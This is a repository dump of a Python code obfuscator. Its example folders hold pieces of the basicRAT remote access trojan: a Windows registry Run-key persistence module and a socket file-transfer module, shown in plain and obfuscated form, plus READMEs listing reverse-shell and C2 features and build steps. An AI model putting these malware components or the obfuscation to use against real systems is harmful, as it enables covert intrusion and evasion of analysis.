19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
24 | For more information, please refer to
25 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/UNLICENSE:
--------------------------------------------------------------------------------
1 | This is free and unencumbered software released into the public domain.
2 |
3 | Anyone is free to copy, modify, publish, use, compile, sell, or
4 | distribute this software, either in source code form or as a compiled
5 | binary, for any purpose, commercial or non-commercial, and by any
6 | means.
7 |
8 | In jurisdictions that recognize copyright laws, the author or authors
9 | of this software dedicate any and all copyright interest in the
10 | software to the public domain. We make this dedication for the benefit
11 | of the public at large and to the detriment of our heirs and
12 | successors. We intend this dedication to be an overt act of
13 | relinquishment in perpetuity of all present and future rights to this
14 | software under copyright law.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
24 | For more information, please refer to
25 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/output/basicRAT-example/UNLICENSE:
--------------------------------------------------------------------------------
1 | This is free and unencumbered software released into the public domain.
2 |
3 | Anyone is free to copy, modify, publish, use, compile, sell, or
4 | distribute this software, either in source code form or as a compiled
5 | binary, for any purpose, commercial or non-commercial, and by any
6 | means.
7 |
8 | In jurisdictions that recognize copyright laws, the author or authors
9 | of this software dedicate any and all copyright interest in the
10 | software to the public domain. We make this dedication for the benefit
11 | of the public at large and to the detriment of our heirs and
12 | successors. We intend this dedication to be an overt act of
13 | relinquishment in perpetuity of all present and future rights to this
14 | software under copyright law.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
24 | For more information, please refer to
25 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/UNLICENSE:
--------------------------------------------------------------------------------
1 | This is free and unencumbered software released into the public domain.
2 |
3 | Anyone is free to copy, modify, publish, use, compile, sell, or
4 | distribute this software, either in source code form or as a compiled
5 | binary, for any purpose, commercial or non-commercial, and by any
6 | means.
7 |
8 | In jurisdictions that recognize copyright laws, the author or authors
9 | of this software dedicate any and all copyright interest in the
10 | software to the public domain. We make this dedication for the benefit
11 | of the public at large and to the detriment of our heirs and
12 | successors. We intend this dedication to be an overt act of
13 | relinquishment in perpetuity of all present and future rights to this
14 | software under copyright law.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
24 | For more information, please refer to
25 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/output/basicRAT-example/UNLICENSE:
--------------------------------------------------------------------------------
1 | This is free and unencumbered software released into the public domain.
2 |
3 | Anyone is free to copy, modify, publish, use, compile, sell, or
4 | distribute this software, either in source code form or as a compiled
5 | binary, for any purpose, commercial or non-commercial, and by any
6 | means.
7 |
8 | In jurisdictions that recognize copyright laws, the author or authors
9 | of this software dedicate any and all copyright interest in the
10 | software to the public domain. We make this dedication for the benefit
11 | of the public at large and to the detriment of our heirs and
12 | successors. We intend this dedication to be an overt act of
13 | relinquishment in perpetuity of all present and future rights to this
14 | software under copyright law.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
24 | For more information, please refer to
25 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/core/filesock.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import socket
3 | import struct
4 | from crypto import tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq
5 | from crypto import fKVDYrzdKZVcijwKGIciPJNJhgUGEXQd
6 | def rmKLLEJCqgoJgOaymQmnoOotvYFjGJwt(sock, UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl, key):
7 | with open(UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl, 'wb') as f:
8 | KYUImcrJiPUjfQKtQfklTtycuICqXNuh = struct.unpack("!I", sock.recv(4))[0]
9 | while KYUImcrJiPUjfQKtQfklTtycuICqXNuh:
10 | awEejdcpwWhFYAGkieRMfqYBAgnjGzYU = sock.recv(KYUImcrJiPUjfQKtQfklTtycuICqXNuh)
11 | f.write(fKVDYrzdKZVcijwKGIciPJNJhgUGEXQd(awEejdcpwWhFYAGkieRMfqYBAgnjGzYU, key))
12 | KYUImcrJiPUjfQKtQfklTtycuICqXNuh = struct.unpack("!I", sock.recv(4))[0]
13 | def gKBMfnwhSSxqoYgKzwEAFFmdZUXetvKm(sock, UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl, key):
14 | with open(UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl, 'rb') as f:
15 | awEejdcpwWhFYAGkieRMfqYBAgnjGzYU = f.read(4096)
16 | while len(awEejdcpwWhFYAGkieRMfqYBAgnjGzYU):
17 | XadHKpkQklBjaRoXDUvlQtFXFfMdzsVW = tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(awEejdcpwWhFYAGkieRMfqYBAgnjGzYU, key)
18 | sock.send(struct.pack("!I", len(XadHKpkQklBjaRoXDUvlQtFXFfMdzsVW)))
19 | sock.send(XadHKpkQklBjaRoXDUvlQtFXFfMdzsVW)
20 | awEejdcpwWhFYAGkieRMfqYBAgnjGzYU = f.read(4096)
21 | sock.send('\x00\x00\x00\x00')
22 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | from pathlib import Path
2 | import setuptools
3 |
4 | project_dir = Path(__file__).parent
5 |
6 | with open("pypi_README.md", "r") as fh:
7 | long_description = fh.read()
8 |
9 | setuptools.setup(
10 | name="intensio_obfuscator",
11 | version="1.0.10.6",
12 | author="hnfull",
13 | author_email="gitland@protonmail.com",
14 | keywords=["python"],
15 | description="Obfuscate a python code 2.x and 3.x ",
16 | long_description=long_description,
17 | long_description_content_type="text/markdown",
18 | url="https://github.com/Hnfull/Intensio-Obfuscator",
19 | packages=setuptools.find_packages("src"),
20 | package_dir={"": "src"},
21 | include_package_data=True,
22 | install_requires=project_dir.joinpath("requirements.txt").read_text().split("\n"),
23 | license="MIT",
24 | license_files=["LICENSE.txt"],
25 | zip_safe=False,
26 | classifiers=[
27 | "Programming Language :: Python :: 3",
28 | "License :: OSI Approved :: MIT License",
29 | "Operating System :: OS Independent"
30 | ],
31 | python_requires=">=3.5",
32 | entry_points={"console_scripts": ["intensio_obfuscator=intensio_obfuscator.intensio_obfuscator:main"]}
33 | )
34 |
--------------------------------------------------------------------------------
/pypi_README.md:
--------------------------------------------------------------------------------
1 | # Intensio-Obfuscator
2 |
3 | # Project not maintained anymore
4 | # Thanks to all contributors
5 |
6 | 
7 | [](https://pypi.python.org/pypi/intensio-obfuscator/)
8 | 
9 |
10 | ## What is this ?
11 | - Intensio-Obfsucator tool takes a python source code and transform it into an obfuscated python code
12 | - **Replace** all names of `variables/classes/functions/files-name` to random strings with length defined then all `chars` to their hexadecimal value
13 | - **Delete** all `comments`, all `spaces lines`
14 | - **Padding** random `snippets code/functions/classes` with an always differents values
15 |
16 | ## What purpose ?
17 | - Provides a high level obfuscation layer to prevent or delay the reading and understanding of your python program
18 |
19 | ## Level of obfuscation
20 | - Weak obfuscation if used alone, can be used with other types of obfuscation
21 |
22 | ## Requirements
23 | - Python >= 3.5
24 | - requirements.txt
25 |
26 | ## Files supported
27 | - Files written in python 2.x and 3.x
28 |
29 | ## Documentation
30 | - (https://github.com/Hnfull/Intensio-Obfuscator/blob/master/README.md)
31 |
32 | ## License
33 | - MIT
34 |
35 | ## Contact
36 | - Hnfull **gitland@protonmail.com**
37 |
38 | ## Disclamer
39 | - Intensio-Obfuscator is for education/research purposes only. The author takes NO responsibility ay for how you choose to use any of the tools provided
40 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/core/persistence.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import sys
6 |
7 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
8 |
9 | def windows_persistence():
10 | import _winreg
11 | from _winreg import HKEY_CURRENT_USER as HKCU
12 |
13 | run_key = r'Software\Microsoft\Windows\CurrentVersion\Run'
14 | bin_path = sys.executable
15 |
16 | try:
17 | reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_WRITE)
18 | _winreg.SetValueEx(reg_key, 'br', 0, _winreg.REG_SZ, bin_path)
19 | _winreg.CloseKey(reg_key)
20 | return True, 'HKCU Run registry key applied'
21 | except WindowsError:
22 | return False, 'HKCU Run registry key failed'
23 |
24 | def linux_persistence():
25 | return False, 'nothing here yet'
26 |
27 | def mac_persistence():
28 | return False, 'nothing here yet'
29 |
30 | def run(plat_type):
31 | if plat_type.startswith('win'):
32 | success, details = windows_persistence()
33 | elif plat_type.startswith('linux'):
34 | success, details = linux_persistence()
35 | elif plat_type.startswith('darwin'):
36 | success, details = mac_persistence()
37 | else:
38 | return 'Error, platform unsupported.'
39 |
40 | if success:
41 | results = 'Persistence successful, {}.'.format(details)
42 | else:
43 | results = 'Persistence unsuccessful, {}.'.format(details)
44 |
45 | return results
46 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/core/persistence.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import sys
6 |
7 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
8 |
9 | def windows_persistence():
10 | import _winreg
11 | from _winreg import HKEY_CURRENT_USER as HKCU
12 |
13 | run_key = r'Software\Microsoft\Windows\CurrentVersion\Run'
14 | bin_path = sys.executable
15 |
16 | try:
17 | reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_WRITE)
18 | _winreg.SetValueEx(reg_key, 'br', 0, _winreg.REG_SZ, bin_path)
19 | _winreg.CloseKey(reg_key)
20 | return True, 'HKCU Run registry key applied'
21 | except WindowsError:
22 | return False, 'HKCU Run registry key failed'
23 |
24 | def linux_persistence():
25 | return False, 'nothing here yet'
26 |
27 | def mac_persistence():
28 | return False, 'nothing here yet'
29 |
30 | def run(plat_type):
31 | if plat_type.startswith('win'):
32 | success, details = windows_persistence()
33 | elif plat_type.startswith('linux'):
34 | success, details = linux_persistence()
35 | elif plat_type.startswith('darwin'):
36 | success, details = mac_persistence()
37 | else:
38 | return 'Error, platform unsupported.'
39 |
40 | if success:
41 | results = 'Persistence successful, {}.'.format(details)
42 | else:
43 | results = 'Persistence unsuccessful, {}.'.format(details)
44 |
45 | return results
46 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/core/persistence.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
4 |
5 | import sys
6 |
7 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
8 |
9 | def windows_persistence():
10 | import _winreg
11 | from _winreg import HKEY_CURRENT_USER as HKCU
12 |
13 | run_key = r'Software\Microsoft\Windows\CurrentVersion\Run'
14 | bin_path = sys.executable
15 |
16 | try:
17 | reg_key = _winreg.OpenKey(HKCU, run_key, 0, _winreg.KEY_WRITE)
18 | _winreg.SetValueEx(reg_key, 'br', 0, _winreg.REG_SZ, bin_path)
19 | _winreg.CloseKey(reg_key)
20 | return True, 'HKCU Run registry key applied'
21 | except WindowsError:
22 | return False, 'HKCU Run registry key failed'
23 |
24 | def linux_persistence():
25 | return False, 'nothing here yet'
26 |
27 | def mac_persistence():
28 | return False, 'nothing here yet'
29 |
30 | def run(plat_type):
31 | if plat_type.startswith('win'):
32 | success, details = windows_persistence()
33 | elif plat_type.startswith('linux'):
34 | success, details = linux_persistence()
35 | elif plat_type.startswith('darwin'):
36 | success, details = mac_persistence()
37 | else:
38 | return 'Error, platform unsupported.'
39 |
40 | if success:
41 | results = 'Persistence successful, {}.'.format(details)
42 | else:
43 | results = 'Persistence unsuccessful, {}.'.format(details)
44 |
45 | return results
46 |
--------------------------------------------------------------------------------
/docs/malfunctions/python_code_malfunctions.md:
--------------------------------------------------------------------------------
1 | # Malfunctions
2 |
3 | ### 1) when `[-rfn, --replacefilename]` is called
4 | - If you `import` python file
5 | - Can generate an error = **no**
6 | - **Recommended:**
7 | ```python
8 | # I have test1.py file that contain several functions or classes
9 | from path.test1 import get
10 | get("user")
11 | ```
12 |
13 | - **Not Recommended:**
14 | ```python
15 | # I have test1.py file that contain several functions or classes
16 | from path import test1
17 | test1.get("user")
18 | ```
19 | - Intensio-Obfuscator will detect a non compliant format (currently this type of import is not supported by tool) code for obfuscation and exclude this file name automatically
20 | - You can exclude manually file names with `--excludefiles` parameter (see `src/intensio_obfuscator/exclude_examples/exclude_files_name_by_user.txt` template and `--excludefiles` parameter)
21 |
22 | - If you `import` python file and in path the file name have the same name that a folder
23 | - Can generate an error = **no**
24 | - **Recommended:**
25 | ```python
26 | # I have test1.py file that contain several functions or classes
27 | from path.mytest.test1 import get
28 | get("user")
29 | ```
30 |
31 | - **Not Recommended:**
32 | ```python
33 | # I have test1.py file that contain several functions or classes
34 | from path.test1.test1 import get
35 | get("user")
36 | ```
37 | - Intensio-Obfuscator will detect a non compliant format (currently this type of import is not supported by tool) code for obfuscation and exclude this file name automatically
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/core/persistence.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import sys
3 | def bkJZOPiTyZrokxuLJwULUTWqcREHocPK():
4 | import _winreg
5 | from _winreg import HKEY_CURRENT_USER as HKCU
6 | fAhjXlZntcdBgtUtJZZYfWcsIbPepNnn = r'Software\Microsoft\Windows\CurrentVersion\Run'
7 | HyICVZRNOvSRqfjkJMWFNkgybJgDSiBP = sys.executable
8 | try:
9 | HxEHVcPndUotCgDciXrGcWFZjPmJxwls = _winreg.OpenKey(HKCU, fAhjXlZntcdBgtUtJZZYfWcsIbPepNnn, 0, _winreg.KEY_WRITE)
10 | _winreg.SetValueEx(HxEHVcPndUotCgDciXrGcWFZjPmJxwls, 'br', 0, _winreg.REG_SZ, HyICVZRNOvSRqfjkJMWFNkgybJgDSiBP)
11 | _winreg.CloseKey(HxEHVcPndUotCgDciXrGcWFZjPmJxwls)
12 | return True, 'HKCU Run registry key applied'
13 | except WindowsError:
14 | return False, 'HKCU Run registry key failed'
15 | def cCCWtCtQqcaeTYFAhQAwprZZeNhAABiq():
16 | return False, 'nothing here yet'
17 | def QxmtqZmVKvLtZxxoblCvgSfuzKIFdZKC():
18 | return False, 'nothing here yet'
19 | def riZaDmNOsluzUlWxKfMZLiUcvOhUrTuc(plat_type):
20 | if plat_type.startswith('win'):
21 | GBCeDRFXbELeGscLkjkDyZWvXkXMTumY, gsMSzDfLZZrZrjKiSSCfZWTtlzxcoCmX = bkJZOPiTyZrokxuLJwULUTWqcREHocPK()
22 | elif plat_type.startswith('linux'):
23 | GBCeDRFXbELeGscLkjkDyZWvXkXMTumY, gsMSzDfLZZrZrjKiSSCfZWTtlzxcoCmX = cCCWtCtQqcaeTYFAhQAwprZZeNhAABiq()
24 | elif plat_type.startswith('darwin'):
25 | GBCeDRFXbELeGscLkjkDyZWvXkXMTumY, gsMSzDfLZZrZrjKiSSCfZWTtlzxcoCmX = QxmtqZmVKvLtZxxoblCvgSfuzKIFdZKC()
26 | else:
27 | return 'Error, platform unsupported.'
28 | if GBCeDRFXbELeGscLkjkDyZWvXkXMTumY:
29 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = 'Persistence successful, {}.'.format(gsMSzDfLZZrZrjKiSSCfZWTtlzxcoCmX)
30 | else:
31 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = 'Persistence unsuccessful, {}.'.format(gsMSzDfLZZrZrjKiSSCfZWTtlzxcoCmX)
32 | return IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl
33 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/README.md:
--------------------------------------------------------------------------------
1 | # basicRAT-example for Test
2 |
3 | - Source (https://github.com/nathanlopez/basicRAT)
4 |
5 | **Disclaimer: This RAT Test is for research purposes only, and should only be used on authorized systems. Accessing a computer system or network without authorization or explicit permission is illegal.**
6 |
7 | ## Features
8 | * Cross-platform
9 | * AES CBC encrypted C2 with D-H exchange
10 | * Reverse shell
11 | * File upload/download
12 | * Standard utilities (wget, unzip)
13 | * System survey
14 |
15 | ## Usage
16 | ```
17 | $ python basicRAT_server.py --port 1337
18 |
19 | basicRAT server listening on port 1337...
20 |
21 | [127.0.0.1] basicRAT> help
22 |
23 | download - Download file(s).
24 | help - Show this help menu.
25 | persistence - Apply persistence mechanism.
26 | quit - Gracefully kill client and server.
27 | rekey - Regenerate crypto key.
28 | run - Execute a command on the target.
29 | scan - Scan top 25 ports on a single host.
30 | survey - Run a system survey.
31 | unzip - Unzip a file.
32 | upload - Upload files(s).
33 | wget - Download a file from the web.
34 |
35 | ```
36 |
37 | ## Build a stand-alone executable
38 | Keep in mind that before building you will likely want to modify both the `HOST` and `PORT` variables located at the top of `basicRAT_client.py` to fit your needs.
39 |
40 | On Linux you will need Python 2.x, [PyInstaller](http://www.pyinstaller.org/), and pycrypto. Then run something like `pyinstaller2 --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone ELF executable.
41 |
42 | On Windows you will need Python 2.x, PyInstaller, pycrypto, pywin32, and pefile. Then run something like `C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone PE (portable executable).
43 |
44 | ## Authors
45 | * Austin Jackson [@vesche](https://github.com/vesche)
46 | * Skyler Curtis [@deadPix3l](https://github.com/deadPix3l)
47 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/README.md:
--------------------------------------------------------------------------------
1 | # basicRAT-example for Test
2 |
3 | - Source (https://github.com/nathanlopez/basicRAT)
4 |
5 | **Disclaimer: This RAT Test is for research purposes only, and should only be used on authorized systems. Accessing a computer system or network without authorization or explicit permission is illegal.**
6 |
7 | ## Features
8 | * Cross-platform
9 | * AES CBC encrypted C2 with D-H exchange
10 | * Reverse shell
11 | * File upload/download
12 | * Standard utilities (wget, unzip)
13 | * System survey
14 |
15 | ## Usage
16 | ```
17 | $ python basicRAT_server.py --port 1337
18 |
19 | basicRAT server listening on port 1337...
20 |
21 | [127.0.0.1] basicRAT> help
22 |
23 | download - Download file(s).
24 | help - Show this help menu.
25 | persistence - Apply persistence mechanism.
26 | quit - Gracefully kill client and server.
27 | rekey - Regenerate crypto key.
28 | run - Execute a command on the target.
29 | scan - Scan top 25 ports on a single host.
30 | survey - Run a system survey.
31 | unzip - Unzip a file.
32 | upload - Upload files(s).
33 | wget - Download a file from the web.
34 |
35 | ```
36 |
37 | ## Build a stand-alone executable
38 | Keep in mind that before building you will likely want to modify both the `HOST` and `PORT` variables located at the top of `basicRAT_client.py` to fit your needs.
39 |
40 | On Linux you will need Python 2.x, [PyInstaller](http://www.pyinstaller.org/), and pycrypto. Then run something like `pyinstaller2 --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone ELF executable.
41 |
42 | On Windows you will need Python 2.x, PyInstaller, pycrypto, pywin32, and pefile. Then run something like `C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone PE (portable executable).
43 |
44 | ## Authors
45 | * Austin Jackson [@vesche](https://github.com/vesche)
46 | * Skyler Curtis [@deadPix3l](https://github.com/deadPix3l)
47 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/README.md:
--------------------------------------------------------------------------------
1 | # basicRAT-example for Test
2 |
3 | - Source (https://github.com/nathanlopez/basicRAT)
4 |
5 | **Disclaimer: This RAT Test is for research purposes only, and should only be used on authorized systems. Accessing a computer system or network without authorization or explicit permission is illegal.**
6 |
7 | ## Features
8 | * Cross-platform
9 | * AES CBC encrypted C2 with D-H exchange
10 | * Reverse shell
11 | * File upload/download
12 | * Standard utilities (wget, unzip)
13 | * System survey
14 |
15 | ## Usage
16 | ```
17 | $ python basicRAT_server.py --port 1337
18 |
19 | basicRAT server listening on port 1337...
20 |
21 | [127.0.0.1] basicRAT> help
22 |
23 | download - Download file(s).
24 | help - Show this help menu.
25 | persistence - Apply persistence mechanism.
26 | quit - Gracefully kill client and server.
27 | rekey - Regenerate crypto key.
28 | run - Execute a command on the target.
29 | scan - Scan top 25 ports on a single host.
30 | survey - Run a system survey.
31 | unzip - Unzip a file.
32 | upload - Upload files(s).
33 | wget - Download a file from the web.
34 |
35 | ```
36 |
37 | ## Build a stand-alone executable
38 | Keep in mind that before building you will likely want to modify both the `HOST` and `PORT` variables located at the top of `basicRAT_client.py` to fit your needs.
39 |
40 | On Linux you will need Python 2.x, [PyInstaller](http://www.pyinstaller.org/), and pycrypto. Then run something like `pyinstaller2 --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone ELF executable.
41 |
42 | On Windows you will need Python 2.x, PyInstaller, pycrypto, pywin32, and pefile. Then run something like `C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone PE (portable executable).
43 |
44 | ## Authors
45 | * Austin Jackson [@vesche](https://github.com/vesche)
46 | * Skyler Curtis [@deadPix3l](https://github.com/deadPix3l)
47 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/output/basicRAT-example/README.md:
--------------------------------------------------------------------------------
1 | # basicRAT-example for Test
2 |
3 | - Source (https://github.com/nathanlopez/basicRAT)
4 |
5 | **Disclaimer: This RAT Test is for research purposes only, and should only be used on authorized systems. Accessing a computer system or network without authorization or explicit permission is illegal.**
6 |
7 | ## Features
8 | * Cross-platform
9 | * AES CBC encrypted C2 with D-H exchange
10 | * Reverse shell
11 | * File upload/download
12 | * Standard utilities (wget, unzip)
13 | * System survey
14 |
15 | ## Usage
16 | ```
17 | $ python basicRAT_server.py --port 1337
18 |
19 | basicRAT server listening on port 1337...
20 |
21 | [127.0.0.1] basicRAT> help
22 |
23 | download - Download file(s).
24 | help - Show this help menu.
25 | persistence - Apply persistence mechanism.
26 | quit - Gracefully kill client and server.
27 | rekey - Regenerate crypto key.
28 | run - Execute a command on the target.
29 | scan - Scan top 25 ports on a single host.
30 | survey - Run a system survey.
31 | unzip - Unzip a file.
32 | upload - Upload files(s).
33 | wget - Download a file from the web.
34 |
35 | ```
36 |
37 | ## Build a stand-alone executable
38 | Keep in mind that before building you will likely want to modify both the `HOST` and `PORT` variables located at the top of `basicRAT_client.py` to fit your needs.
39 |
40 | On Linux you will need Python 2.x, [PyInstaller](http://www.pyinstaller.org/), and pycrypto. Then run something like `pyinstaller2 --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone ELF executable.
41 |
42 | On Windows you will need Python 2.x, PyInstaller, pycrypto, pywin32, and pefile. Then run something like `C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone PE (portable executable).
43 |
44 | ## Authors
45 | * Austin Jackson [@vesche](https://github.com/vesche)
46 | * Skyler Curtis [@deadPix3l](https://github.com/deadPix3l)
47 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/README.md:
--------------------------------------------------------------------------------
1 | # basicRAT-example for Test
2 |
3 | - Source (https://github.com/nathanlopez/basicRAT)
4 |
5 | **Disclaimer: This RAT Test is for research purposes only, and should only be used on authorized systems. Accessing a computer system or network without authorization or explicit permission is illegal.**
6 |
7 | ## Features
8 | * Cross-platform
9 | * AES CBC encrypted C2 with D-H exchange
10 | * Reverse shell
11 | * File upload/download
12 | * Standard utilities (wget, unzip)
13 | * System survey
14 |
15 | ## Usage
16 | ```
17 | $ python basicRAT_server.py --port 1337
18 |
19 | basicRAT server listening on port 1337...
20 |
21 | [127.0.0.1] basicRAT> help
22 |
23 | download - Download file(s).
24 | help - Show this help menu.
25 | persistence - Apply persistence mechanism.
26 | quit - Gracefully kill client and server.
27 | rekey - Regenerate crypto key.
28 | run - Execute a command on the target.
29 | scan - Scan top 25 ports on a single host.
30 | survey - Run a system survey.
31 | unzip - Unzip a file.
32 | upload - Upload files(s).
33 | wget - Download a file from the web.
34 |
35 | ```
36 |
37 | ## Build a stand-alone executable
38 | Keep in mind that before building you will likely want to modify both the `HOST` and `PORT` variables located at the top of `basicRAT_client.py` to fit your needs.
39 |
40 | On Linux you will need Python 2.x, [PyInstaller](http://www.pyinstaller.org/), and pycrypto. Then run something like `pyinstaller2 --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone ELF executable.
41 |
42 | On Windows you will need Python 2.x, PyInstaller, pycrypto, pywin32, and pefile. Then run something like `C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone PE (portable executable).
43 |
44 | ## Authors
45 | * Austin Jackson [@vesche](https://github.com/vesche)
46 | * Skyler Curtis [@deadPix3l](https://github.com/deadPix3l)
47 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/output/basicRAT-example/README.md:
--------------------------------------------------------------------------------
1 | # basicRAT-example for Test
2 |
3 | - Source (https://github.com/nathanlopez/basicRAT)
4 |
5 | **Disclaimer: This RAT Test is for research purposes only, and should only be used on authorized systems. Accessing a computer system or network without authorization or explicit permission is illegal.**
6 |
7 | ## Features
8 | * Cross-platform
9 | * AES CBC encrypted C2 with D-H exchange
10 | * Reverse shell
11 | * File upload/download
12 | * Standard utilities (wget, unzip)
13 | * System survey
14 |
15 | ## Usage
16 | ```
17 | $ python basicRAT_server.py --port 1337
18 |
19 | basicRAT server listening on port 1337...
20 |
21 | [127.0.0.1] basicRAT> help
22 |
23 | download - Download file(s).
24 | help - Show this help menu.
25 | persistence - Apply persistence mechanism.
26 | quit - Gracefully kill client and server.
27 | rekey - Regenerate crypto key.
28 | run - Execute a command on the target.
29 | scan - Scan top 25 ports on a single host.
30 | survey - Run a system survey.
31 | unzip - Unzip a file.
32 | upload - Upload files(s).
33 | wget - Download a file from the web.
34 |
35 | ```
36 |
37 | ## Build a stand-alone executable
38 | Keep in mind that before building you will likely want to modify both the `HOST` and `PORT` variables located at the top of `basicRAT_client.py` to fit your needs.
39 |
40 | On Linux you will need Python 2.x, [PyInstaller](http://www.pyinstaller.org/), and pycrypto. Then run something like `pyinstaller2 --onefile basicRAT_client.py` and it should generate a `dist/` folder that contains a stand-alone ELF executable.
41 |
